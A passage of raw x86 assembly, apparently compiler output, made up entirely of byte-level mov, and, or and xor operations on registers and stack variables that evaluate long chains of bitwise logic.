mov cl, byte [ebp - 0x217]
or al, cl
xor bh, al
mov al, byte [ebp - 0x218]
and al, ah
mov cl, byte [ebp - 0x218]
xor cl, ah
or al, cl
mov cl, bh
and cl, 0
xor bh, 0
or cl, bh
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, bl
xor bh, 1
and al, bh
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, bl
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x1f6]
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov bh, byte [ebp - 0x1f6]
and bh, cl
or al, bh
mov cl, byte [ebp - 0x1d5]
xor cl, 0xff
mov bh, al
and bh, cl
xor al, 0xff
mov cl, byte [ebp - 0x1d5]
and cl, al
or bh, cl
xor bh, 0xff
mov al, byte [ebp - 0x1d5]
xor al, 0xff
mov cl, bl
xor cl, 0
or bh, al
or cl, 0
xor bh, 0xff
and bh, cl
mov al, byte [ebp - 0x20d]
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov byte [ebp - 0x219], al
mov al, byte [ebp - 0x20d]
and al, cl
mov byte [ebp - 0x21a], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x21b], al
mov al, byte [ebp - 0x219]
mov byte [ebp - 0x21c], cl
mov cl, byte [ebp - 0x21a]
or al, cl
mov cl, byte [ebp - 0x21b]
mov byte [ebp - 0x21d], al
mov al, byte [ebp - 0x21c]
or cl, al
mov al, byte [ebp - 0x21d]
xor al, cl
mov cl, byte [ebp - 0x213]
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x21e], al
mov al, bl
xor al, 1
mov byte [ebp - 0x21f], al
mov al, byte [ebp - 0x213]
mov byte [ebp - 0x220], cl
mov cl, byte [ebp - 0x21f]
and al, cl
mov cl, byte [ebp - 0x220]
or cl, al
mov al, bl
xor al, 0
and al, 1
mov byte [ebp - 0x221], al
mov al, bl
xor al, 1
mov byte [ebp - 0x222], al
and al, 0
mov byte [ebp - 0x223], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0x224], al
mov al, byte [ebp - 0x222]
and al, 1
mov byte [ebp - 0x225], al
mov al, byte [ebp - 0x221]
mov byte [ebp - 0x226], cl
mov cl, byte [ebp - 0x223]
or al, cl
mov cl, byte [ebp - 0x224]
mov byte [ebp - 0x227], al
mov al, byte [ebp - 0x225]
or cl, al
mov al, byte [ebp - 0x227]
xor al, cl
mov cl, byte [ebp - 0x21e]
xor cl, 0xff
mov byte [ebp - 0x228], al
mov al, bl
xor al, 0
mov byte [ebp - 0x229], al
mov al, bl
xor al, 1
mov byte [ebp - 0x22a], al
mov al, byte [ebp - 0x229]
or cl, al
mov al, byte [ebp - 0x22a]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x20d]
xor al, 0xff
mov byte [ebp - 0x22b], al
mov al, byte [ebp - 0x228]
xor al, 0xff
mov byte [ebp - 0x22c], al
mov al, bl
xor al, 0
mov byte [ebp - 0x22d], al
mov al, byte [ebp - 0x22b]
mov byte [ebp - 0x22e], cl
mov cl, byte [ebp - 0x22c]
or al, cl
mov cl, byte [ebp - 0x22d]
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0
mov byte [ebp - 0x22f], al
mov al, byte [ebp - 0x226]
xor al, cl
mov cl, byte [ebp - 0x226]
and al, cl
mov cl, byte [ebp - 0x213]
xor cl, 0xff
mov byte [ebp - 0x230], al
mov al, byte [ebp - 0x228]
xor al, 0xff
mov byte [ebp - 0x231], al
mov al, bl
xor al, 0
mov byte [ebp - 0x232], al
mov al, byte [ebp - 0x231]
or cl, al
mov al, byte [ebp - 0x232]
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x22e]
xor al, 0xff
mov byte [ebp - 0x233], al
mov al, byte [ebp - 0x22f]
xor al, 0xff
mov byte [ebp - 0x234], al
mov al, bl
xor al, 0
mov byte [ebp - 0x235], al
mov al, byte [ebp - 0x233]
and al, 0
mov byte [ebp - 0x236], al
mov al, byte [ebp - 0x22e]
mov byte [ebp - 0x237], cl
mov cl, byte [ebp - 0x235]
and al, cl
mov cl, byte [ebp - 0x234]
and cl, 0
mov byte [ebp - 0x238], al
mov al, byte [ebp - 0x22f]
mov byte [ebp - 0x239], cl
mov cl, byte [ebp - 0x235]
and al, cl
mov cl, byte [ebp - 0x236]
mov byte [ebp - 0x23a], al
mov al, byte [ebp - 0x238]
or cl, al
mov al, byte [ebp - 0x239]
mov byte [ebp - 0x23b], cl
mov cl, byte [ebp - 0x23a]
or al, cl
mov cl, byte [ebp - 0x23b]
xor cl, al
mov al, byte [ebp - 0x233]
mov byte [ebp - 0x23c], cl
mov cl, byte [ebp - 0x234]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x235]
or cl, 0
and al, cl
mov cl, byte [ebp - 0x23c]
or cl, al
mov al, byte [ebp - 0x230]
mov byte [ebp - 0x23d], cl
mov cl, byte [ebp - 0x237]
and al, cl
mov cl, byte [ebp - 0x230]
mov byte [ebp - 0x23e], al
mov al, byte [ebp - 0x237]
xor cl, al
mov al, byte [ebp - 0x23e]
or al, cl
mov cl, byte [ebp - 0x23d]
xor cl, 0xff
mov byte [ebp - 0x23f], al
and al, cl
mov cl, byte [ebp - 0x23f]
xor cl, 0xff
mov byte [ebp - 0x240], al
mov al, byte [ebp - 0x23d]
and al, cl
mov cl, byte [ebp - 0x240]
or cl, al
mov al, byte [ebp - 0x21e]
mov byte [ebp - 0x241], cl
mov cl, byte [ebp - 0x226]
and al, cl
mov cl, byte [ebp - 0x21e]
mov byte [ebp - 0x242], al
mov al, byte [ebp - 0x226]
xor cl, al
mov al, byte [ebp - 0x242]
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x243], al
mov al, bl
xor al, 1
mov byte [ebp - 0x244], al
mov al, byte [ebp - 0x243]
mov byte [ebp - 0x245], cl
mov cl, byte [ebp - 0x244]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x244]
and al, 1
mov byte [ebp - 0x247], al
mov al, byte [ebp - 0x245]
mov byte [ebp - 0x248], cl
mov cl, byte [ebp - 0x246]
or al, cl
mov cl, byte [ebp - 0x248]
mov byte [ebp - 0x249], al
mov al, byte [ebp - 0x247]
or cl, al
mov al, byte [ebp - 0x249]
xor al, cl
mov cl, bl
xor cl, 0
mov byte [ebp - 0x24a], al
mov al, byte [ebp - 0x228]
xor al, 0xff
mov byte [ebp - 0x24b], al
mov al, bl
xor al, 1
mov byte [ebp - 0x24c], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x24d], al
mov al, byte [ebp - 0x24c]
and al, 0
mov byte [ebp - 0x24e], al
mov al, byte [ebp - 0x24b]
and al, 0xff
mov byte [ebp - 0x24f], al
mov al, byte [ebp - 0x228]
mov byte [ebp - 0x250], cl
mov cl, byte [ebp - 0x24c]
and al, cl
mov cl, byte [ebp - 0x24d]
mov byte [ebp - 0x251], al
mov al, byte [ebp - 0x24e]
or cl, al
mov al, byte [ebp - 0x24f]
mov byte [ebp - 0x252], cl
mov cl, byte [ebp - 0x251]
or al, cl
mov cl, byte [ebp - 0x252]
xor cl, al
mov al, byte [ebp - 0x250]
mov byte [ebp - 0x253], cl
mov cl, byte [ebp - 0x24b]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x24c]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x253]
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x24a]
xor al, cl
mov cl, byte [ebp - 0x24a]
and al, cl
mov cl, byte [ebp - 0x241]
and cl, al
mov byte [ebp - 0x254], al
mov al, byte [ebp - 0x241]
mov byte [ebp - 0x255], cl
mov cl, byte [ebp - 0x254]
xor al, cl
mov cl, byte [ebp - 0x255]
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov byte [ebp - 0x256], al
mov al, bl
xor al, 1
mov byte [ebp - 0x257], al
mov al, ah
mov byte [ebp - 0x258], cl
mov cl, byte [ebp - 0x257]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x259], al
mov al, byte [ebp - 0x257]
and al, 1
mov byte [ebp - 0x25a], al
mov al, byte [ebp - 0x256]
mov byte [ebp - 0x25b], cl
mov cl, byte [ebp - 0x259]
or al, cl
mov cl, byte [ebp - 0x25b]
mov byte [ebp - 0x25c], al
mov al, byte [ebp - 0x25a]
or cl, al
mov al, byte [ebp - 0x25c]
xor al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x25d], al
mov al, bl
xor al, 1
mov byte [ebp - 0x25e], al
mov al, bh
mov byte [ebp - 0x25f], cl
mov cl, byte [ebp - 0x25e]
and al, cl
mov cl, byte [ebp - 0x25f]
or cl, al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x260], al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x261], al
mov al, byte [ebp - 0x260]
mov byte [ebp - 0x262], cl
mov cl, byte [ebp - 0x261]
or al, cl
mov cl, byte [ebp - 0x25d]
xor cl, 0xff
mov byte [ebp - 0x263], al
mov al, bl
xor al, 1
mov byte [ebp - 0x264], al
mov al, bl
xor al, 1
mov byte [ebp - 0x265], al
mov al, byte [ebp - 0x264]
or cl, al
mov al, byte [ebp - 0x265]
or al, 1
xor cl, 0xff
and cl, al
xor ah, 0xff
mov al, byte [ebp - 0x263]
xor al, 0xff
mov byte [ebp - 0x266], al
mov al, bl
xor al, 1
mov byte [ebp - 0x267], al
mov al, byte [ebp - 0x266]
or ah, al
mov al, byte [ebp - 0x267]
or al, 1
xor ah, 0xff
and ah, al
mov al, bl
xor al, 1
mov byte [ebp - 0x268], al
mov al, byte [ebp - 0x262]
mov byte [ebp - 0x269], cl
mov cl, byte [ebp - 0x268]
xor al, cl
mov cl, byte [ebp - 0x262]
and al, cl
mov cl, byte [ebp - 0x263]
xor cl, 0xff
mov byte [ebp - 0x26a], al
mov al, bh
xor al, cl
and al, bh
mov cl, byte [ebp - 0x269]
xor cl, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x26b], al
mov al, bl
xor al, 1
mov byte [ebp - 0x26c], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x26d], al
mov al, byte [ebp - 0x269]
mov byte [ebp - 0x26e], cl
mov cl, byte [ebp - 0x26c]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x26f], al
mov al, byte [ebp - 0x26c]
and ah, al
mov al, byte [ebp - 0x26d]
mov byte [ebp - 0x270], cl
mov cl, byte [ebp - 0x26f]
or al, cl
mov cl, byte [ebp - 0x270]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x26e]
or cl, bh
xor cl, 0xff
mov ah, byte [ebp - 0x26c]
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x26a]
mov ah, byte [ebp - 0x26b]
and cl, ah
mov bh, byte [ebp - 0x26a]
xor bh, ah
or cl, bh
mov bh, al
xor bh, 0xff
mov ah, cl
and ah, bh
xor cl, 0xff
and al, cl
or ah, al
mov al, byte [ebp - 0x25d]
mov cl, byte [ebp - 0x262]
and al, cl
mov bh, byte [ebp - 0x25d]
xor bh, cl
or al, bh
mov bh, al
xor bh, 0xff
and bh, 0
mov cl, bl
xor cl, 0
and al, cl
mov byte [ebp - 0x271], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x272], al
mov al, byte [ebp - 0x271]
or bh, al
mov al, byte [ebp - 0x272]
or al, cl
xor bh, al
mov al, bl
xor al, 1
mov cl, byte [ebp - 0x263]
xor cl, 0xff
mov byte [ebp - 0x273], al
mov al, bl
xor al, 0
mov byte [ebp - 0x274], al
mov al, byte [ebp - 0x273]
and al, 0
mov byte [ebp - 0x275], al
mov al, byte [ebp - 0x274]
and al, 1
mov byte [ebp - 0x276], al
mov al, cl
and al, 0
mov byte [ebp - 0x277], al
mov al, byte [ebp - 0x263]
mov byte [ebp - 0x278], cl
mov cl, byte [ebp - 0x274]
and al, cl
mov cl, byte [ebp - 0x275]
mov byte [ebp - 0x279], al
mov al, byte [ebp - 0x276]
or cl, al
mov al, byte [ebp - 0x277]
mov byte [ebp - 0x27a], cl
mov cl, byte [ebp - 0x279]
or al, cl
mov cl, byte [ebp - 0x27a]
xor cl, al
mov al, byte [ebp - 0x273]
mov byte [ebp - 0x27b], cl
mov cl, byte [ebp - 0x278]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x274]
or cl, 0
and al, cl
mov cl, byte [ebp - 0x27b]
or cl, al
xor cl, 0xff
mov al, bh
xor al, cl
and al, bh
mov cl, ah
and cl, al
xor ah, al
or cl, ah
mov al, byte [ebp - 0x258]
xor al, 0xff
and al, 0
mov ah, bl
xor ah, 0
mov bh, byte [ebp - 0x258]
and bh, ah
mov byte [ebp - 0x27c], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x27d], al
mov al, byte [ebp - 0x27c]
or al, bh
mov bh, byte [ebp - 0x27d]
or bh, ah
xor al, bh
xor al, 0xff
xor al, 0
and al, 0
mov ah, bl
xor ah, 0
and ah, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x27e], al
mov al, bh
and al, 0
mov byte [ebp - 0x27f], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x280], al
mov al, byte [ebp - 0x27f]
or ah, al
mov al, byte [ebp - 0x280]
or al, bh
xor ah, al
mov al, ah
xor al, 0xff
mov bh, byte [ebp - 0x258]
xor bh, al
mov al, byte [ebp - 0x258]
and bh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x281], al
mov al, bl
xor al, 1
mov byte [ebp - 0x282], al
mov al, cl
mov byte [ebp - 0x283], cl
mov cl, byte [ebp - 0x282]
and al, cl
mov cl, byte [ebp - 0x281]
or cl, al
xor cl, 0xff
mov al, bl
xor al, 0
mov byte [ebp - 0x284], al
mov al, bl
xor al, 0
mov byte [ebp - 0x285], al
mov al, byte [ebp - 0x284]
or cl, al
mov al, byte [ebp - 0x285]
or al, 0
xor cl, 0xff
and cl, al
xor ah, 0xff
mov al, byte [ebp - 0x283]
xor al, ah
mov ah, byte [ebp - 0x283]
and al, ah
mov ah, byte [ebp - 0x27e]
xor ah, 0xff
mov byte [ebp - 0x286], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x287], al
mov al, bl
xor al, 1
mov byte [ebp - 0x288], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x289], al
mov al, byte [ebp - 0x27e]
mov byte [ebp - 0x28a], cl
mov cl, byte [ebp - 0x288]
and al, cl
mov cl, byte [ebp - 0x287]
and cl, 0xff
mov byte [ebp - 0x28b], al
mov al, byte [ebp - 0x288]
and bh, al
mov al, byte [ebp - 0x289]
mov byte [ebp - 0x28c], cl
mov cl, byte [ebp - 0x28b]
or al, cl
mov cl, byte [ebp - 0x28c]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x287]
or ah, cl
xor ah, 0xff
mov bh, byte [ebp - 0x288]
or bh, 1
and ah, bh
or al, ah
mov ah, byte [ebp - 0x28a]
mov bh, byte [ebp - 0x286]
and ah, bh
mov cl, byte [ebp - 0x28a]
xor cl, bh
or ah, cl
mov cl, al
xor cl, 0xff
mov bh, ah
and bh, cl
xor ah, 0xff
and al, ah
or bh, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov ah, ch
and ah, cl
or al, ah
mov cl, byte [ebp - 0x1f2]
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
mov byte [ebp - 0x28d], al
mov al, byte [ebp - 0x1f2]
and al, ah
mov byte [ebp - 0x28e], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x28f], al
mov al, byte [ebp - 0x28e]
or cl, al
mov al, byte [ebp - 0x28f]
or al, ah
xor cl, al
mov al, bl
xor al, 1
and al, 0
mov ah, bl
xor ah, 0
mov byte [ebp - 0x290], al
mov al, ah
and al, 1
mov byte [ebp - 0x291], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x292], al
mov al, byte [ebp - 0x290]
mov byte [ebp - 0x293], cl
mov cl, byte [ebp - 0x291]
or al, cl
mov cl, byte [ebp - 0x292]
or cl, ah
xor al, cl
mov cl, bl
xor cl, 1
mov ah, byte [ebp - 0x28d]
xor ah, cl
mov cl, byte [ebp - 0x28d]
and ah, cl
xor ch, 0xff
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x294], al
mov al, bl
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, bl
xor al, 1
mov cl, byte [ebp - 0x293]
xor cl, al
mov al, byte [ebp - 0x293]
and cl, al
mov al, byte [ebp - 0x1f2]
xor al, 0xff
mov byte [ebp - 0x295], al
mov al, byte [ebp - 0x294]
xor al, 0xff
mov byte [ebp - 0x296], al
mov al, bl
xor al, 0
mov byte [ebp - 0x297], al
mov al, byte [ebp - 0x295]
mov byte [ebp - 0x298], cl
mov cl, byte [ebp - 0x296]
or al, cl
mov cl, byte [ebp - 0x297]
or cl, 0
xor al, 0xff
and al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, byte [ebp - 0x298]
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x299], al
mov al, bl
xor al, 1
mov byte [ebp - 0x29a], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x29b], al
mov al, byte [ebp - 0x298]
mov byte [ebp - 0x29c], cl
mov cl, byte [ebp - 0x29a]
and al, cl
mov cl, ch
and cl, 0xff
mov byte [ebp - 0x29d], al
mov al, byte [ebp - 0x299]
mov byte [ebp - 0x29e], cl
mov cl, byte [ebp - 0x29a]
and al, cl
mov cl, byte [ebp - 0x29b]
mov byte [ebp - 0x29f], al
mov al, byte [ebp - 0x29d]
or cl, al
mov al, byte [ebp - 0x29e]
mov byte [ebp - 0x2a0], cl
mov cl, byte [ebp - 0x29f]
or al, cl
mov cl, byte [ebp - 0x2a0]
xor cl, al
or ah, ch
xor ah, 0xff
mov al, byte [ebp - 0x29a]
or al, 1
and ah, al
or cl, ah
mov al, byte [ebp - 0x29c]
xor al, 0xff
and al, 0
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0x29c]
and ch, ah
mov byte [ebp - 0x2a1], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
mov ah, byte [ebp - 0x2a1]
or ah, ch
or al, cl
xor ah, al
mov al, byte [ebp - 0x28d]
xor al, 0xff
mov cl, byte [ebp - 0x293]
xor cl, 0xff
mov ch, bl
xor ch, 1
mov byte [ebp - 0x2a2], al
and al, 0xff
mov byte [ebp - 0x2a3], al
mov al, byte [ebp - 0x28d]
and al, ch
mov byte [ebp - 0x2a4], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x2a5], al
mov al, byte [ebp - 0x293]
and al, ch
mov byte [ebp - 0x2a6], al
mov al, byte [ebp - 0x2a3]
mov byte [ebp - 0x2a7], cl
mov cl, byte [ebp - 0x2a4]
or al, cl
mov cl, byte [ebp - 0x2a5]
mov byte [ebp - 0x2a8], al
mov al, byte [ebp - 0x2a6]
or cl, al
mov al, byte [ebp - 0x2a8]
xor al, cl
mov cl, byte [ebp - 0x2a2]
mov byte [ebp - 0x2a9], al
mov al, byte [ebp - 0x2a7]
or cl, al
xor cl, 0xff
or ch, 1
and cl, ch
mov ch, byte [ebp - 0x2a9]
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov al, bl
xor al, 0
and ch, al
mov byte [ebp - 0x2aa], al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x2ab], al
mov al, byte [ebp - 0x2aa]
and al, 1
or cl, ch
mov ch, byte [ebp - 0x2ab]
or ch, al
xor cl, ch
mov al, bl
xor al, 1
mov ch, byte [ebp - 0x294]
xor ch, 0xff
mov byte [ebp - 0x2ac], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2ad], al
mov al, byte [ebp - 0x2ac]
and al, 0xff
mov byte [ebp - 0x2ae], al
mov al, byte [ebp - 0x2ad]
and al, 1
mov byte [ebp - 0x2af], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x2b0], al
mov al, byte [ebp - 0x294]
mov byte [ebp - 0x2b1], cl
mov cl, byte [ebp - 0x2ad]
and al, cl
mov cl, byte [ebp - 0x2ae]
mov byte [ebp - 0x2b2], al
mov al, byte [ebp - 0x2af]
or cl, al
mov al, byte [ebp - 0x2b0]
mov byte [ebp - 0x2b3], cl
mov cl, byte [ebp - 0x2b2]
or al, cl
mov cl, byte [ebp - 0x2b3]
xor cl, al
mov al, byte [ebp - 0x2ac]
or al, ch
xor al, 0xff
mov ch, byte [ebp - 0x2ad]
or ch, 1
and al, ch
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x2b1]
xor al, cl
mov cl, byte [ebp - 0x2b1]
and al, cl
mov ch, ah
xor ch, 0xff
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x2b4], al
mov al, bl
xor al, 0
mov byte [ebp - 0x2b5], al
mov al, ch
and al, 0
mov byte [ebp - 0x2b6], al
mov al, byte [ebp - 0x2b5]
and ah, al
mov al, cl
and al, 0
mov byte [ebp - 0x2b7], al
mov al, byte [ebp - 0x2b4]
mov byte [ebp - 0x2b8], cl
mov cl, byte [ebp - 0x2b5]
and al, cl
mov cl, byte [ebp - 0x2b6]
or cl, ah
mov ah, byte [ebp - 0x2b7]
or ah, al
xor cl, ah
mov al, byte [ebp - 0x2b8]
or ch, al
xor ch, 0xff
mov ah, byte [ebp - 0x2b5]
or ah, 0
and ch, ah
or cl, ch
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov al, cl
and al, ch
or ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov al, bl
xor al, 0
and al, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x2b9], al
mov al, ch
and al, 0
mov byte [ebp - 0x2ba], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x2bb], al
mov al, byte [ebp - 0x2b9]
mov byte [ebp - 0x2bc], cl
mov cl, byte [ebp - 0x2ba]
or al, cl
mov cl, byte [ebp - 0x2bb]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x2bc]
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x2bd], al
mov al, bl
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
mov ch, bl
xor ch, 0
mov byte [ebp - 0x2be], al
mov al, bl
xor al, 0
mov byte [ebp - 0x2bf], al
mov al, byte [ebp - 0x2be]
or al, ch
mov ch, byte [ebp - 0x2bf]
or ch, 0
xor al, 0xff
and al, ch
mov ch, bl
xor ch, 1
mov byte [ebp - 0x2c0], al
mov al, byte [ebp - 0x2bd]
xor al, 0xff
mov byte [ebp - 0x2c1], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2c2], al
mov al, byte [ebp - 0x2c1]
or ch, al
mov al, byte [ebp - 0x2c2]
or al, 1
xor ch, 0xff
and ch, al
mov al, ah
and al, cl
xor ah, cl
or al, ah
mov cl, byte [ebp - 0x2c0]
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov byte [ebp - 0x2c3], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2c4], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x2c5], al
mov al, byte [ebp - 0x2c0]
mov byte [ebp - 0x2c6], cl
mov cl, byte [ebp - 0x2c4]
and al, cl
mov cl, ah
and cl, 0xff
mov byte [ebp - 0x2c7], al
mov al, byte [ebp - 0x2c4]
and ch, al
mov al, byte [ebp - 0x2c5]
mov byte [ebp - 0x2c8], cl
mov cl, byte [ebp - 0x2c7]
or al, cl
mov cl, byte [ebp - 0x2c8]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x2c6]
or cl, ah
xor cl, 0xff
mov ah, byte [ebp - 0x2c4]
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x2c3]
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0x2c3]
and ch, ah
mov byte [ebp - 0x2c9], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x2ca], al
mov al, byte [ebp - 0x2c9]
and al, ah
or cl, ch
mov ah, byte [ebp - 0x2ca]
or ah, al
xor cl, ah
mov al, bl
xor al, 0
and al, 1
mov ah, bl
xor ah, 1
and ah, 0
or al, ah
mov ah, byte [ebp - 0x1f6]
xor ah, 0xff
and ah, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x2cb], al
mov al, byte [ebp - 0x1f6]
and al, ch
mov byte [ebp - 0x2cc], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x2cd], al
mov al, byte [ebp - 0x2cc]
or ah, al
mov al, byte [ebp - 0x2cd]
or al, ch
xor ah, al
mov al, bl
xor al, 0
and al, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x2ce], al
mov al, ch
and al, 0
mov byte [ebp - 0x2cf], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x2d0], al
mov al, byte [ebp - 0x2ce]
mov byte [ebp - 0x2d1], cl
mov cl, byte [ebp - 0x2cf]
or al, cl
mov cl, byte [ebp - 0x2d0]
or cl, ch
xor al, cl
mov cl, bl
xor cl, 0
mov ch, byte [ebp - 0x2cb]
xor ch, cl
mov cl, byte [ebp - 0x2cb]
and ch, cl
mov cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov byte [ebp - 0x2d2], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x2d3], al
mov al, bl
xor al, 0
mov byte [ebp - 0x2d4], al
mov al, bl
xor al, 0
mov byte [ebp - 0x2d5], al
mov al, byte [ebp - 0x2d3]
mov byte [ebp - 0x2d6], cl
mov cl, byte [ebp - 0x2d4]
or al, cl
mov cl, byte [ebp - 0x2d5]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x2d2]
xor cl, 0xff
mov byte [ebp - 0x2d7], al
mov al, byte [ebp - 0x1f6]
xor al, cl
mov cl, byte [ebp - 0x1f6]
and al, cl
mov cl, ch
mov byte [ebp - 0x2d8], al
mov al, byte [ebp - 0x2d6]
and cl, al
xor ch, al
or cl, ch
mov ch, byte [ebp - 0x2d7]
xor ch, 0xff
mov al, byte [ebp - 0x2d8]
xor al, 0xff
mov byte [ebp - 0x2d9], al
mov al, bl
xor al, 1
mov byte [ebp - 0x2da], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x2db], al
mov al, byte [ebp - 0x2d7]
mov byte [ebp - 0x2dc], cl
mov cl, byte [ebp - 0x2da]
and al, cl
mov cl, byte [ebp - 0x2d9]
and cl, 0xff
mov byte [ebp - 0x2dd], al
mov al, byte [ebp - 0x2d8]
mov byte [ebp - 0x2de], cl
mov cl, byte [ebp - 0x2da]
and al, cl
mov cl, byte [ebp - 0x2db]
mov byte [ebp - 0x2df], al
mov al, byte [ebp - 0x2dd]
or cl, al
mov al, byte [ebp - 0x2de]
mov byte [ebp - 0x2e0], cl
mov cl, byte [ebp - 0x2df]
or al, cl
mov cl, byte [ebp - 0x2e0]
xor cl, al
mov al, byte [ebp - 0x2d9]
or ch, al
xor ch, 0xff
mov al, byte [ebp - 0x2da]
or al, 1
and ch, al
or cl, ch
mov al, byte [ebp - 0x2dc]
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x2e1], al
mov al, byte [ebp - 0x2dc]
and al, ch
mov byte [ebp - 0x2e2], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
mov ch, byte [ebp - 0x2e1]
mov byte [ebp - 0x2e3], al
mov al, byte [ebp - 0x2e2]
or ch, al
mov al, byte [ebp - 0x2e3]
or al, cl
xor ch, al
mov al, byte [ebp - 0x2cb]
and al, ah
mov cl, byte [ebp - 0x2cb]
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
and al, ah
mov byte [ebp - 0x2e4], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x2e5], al
mov al, byte [ebp - 0x2e4]
or cl, al
mov al, byte [ebp - 0x2e5]
or al, ah
xor cl, al
mov al, byte [ebp - 0x2d2]
and al, 0
mov ah, byte [ebp - 0x2d2]
xor ah, 0
or al, ah
xor cl, 0xff
xor al, 0xff
mov ah, bl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, ch
and al, cl
xor ch, cl
or al, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
and al, ah
mov ch, bl
xor ch, 1
and ch, 0xff
and ah, 1
or cl, al
or ch, ah
xor cl, ch
mov al, byte [ebp - 0x2d1]
xor al, 0xff
and al, 0
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0x2d1]
and ch, ah
mov byte [ebp - 0x2e6], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
mov ah, byte [ebp - 0x2e6]
or ah, ch
or al, cl
xor ah, al
xor ah, 0xff
mov al, byte [ebp - 0x2d1]
xor al, 0xff
mov cl, bl
xor cl, 1
or ah, al
or cl, 1
xor ah, 0xff
and ah, cl
mov al, bh
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, bl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, bh
